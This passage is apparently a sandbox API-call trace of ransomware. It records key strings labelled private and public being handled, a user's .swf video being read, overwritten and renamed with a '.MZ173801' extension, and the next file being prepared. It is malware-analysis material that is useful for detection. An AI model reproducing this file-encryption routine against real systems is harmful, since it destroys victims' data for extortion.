xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] GetCurrentThreadId () returned 0xab4 [0165.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.780] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0165.780] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.780] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x1023e [0165.780] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.780] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x1023e, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x1023e, lpOverlapped=0x0) returned 1 [0165.781] CloseHandle (hObject=0x27c) returned 1 [0165.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.784] WriteFile (in: hFile=0x27c, lpBuffer=0x24bafa0*, nNumberOfBytesToWrite=0x1023e, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24bafa0*, lpNumberOfBytesWritten=0x19f48c*=0x1023e, lpOverlapped=0x0) returned 1 [0165.786] CloseHandle (hObject=0x27c) returned 1 [0165.791] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf.mz173801")) returned 1 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] GetCurrentThreadId () returned 0xab4 [0165.791] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf343b010, ftCreationTime.dwHighDateTime=0x1d5e361, ftLastAccessTime.dwLowDateTime=0xecfb60f0, ftLastAccessTime.dwHighDateTime=0x1d5efa4, ftLastWriteTime.dwLowDateTime=0xecfb60f0, ftLastWriteTime.dwHighDateTime=0x1d5efa4, nFileSizeHigh=0x0, nFileSizeLow=0x11a1f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="4NRYueZu34oKrb1iEn.mkv", cAlternateFileName="4NRYUE~1.MKV")) returned 1 [0165.792] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0165.792] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0165.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf343b010, ftCreationTime.dwHighDateTime=0x1d5e361, ftLastAccessTime.dwLowDateTime=0xecfb60f0, ftLastAccessTime.dwHighDateTime=0x1d5efa4, ftLastWriteTime.dwLowDateTime=0xecfb60f0, ftLastWriteTime.dwHighDateTime=0x1d5efa4, nFileSizeHigh=0x0, nFileSizeLow=0x11a1f)) returned 1 [0165.792] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv")) returned 0x20 [0165.792] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv", dwFileAttributes=0x80) returned 1 [0165.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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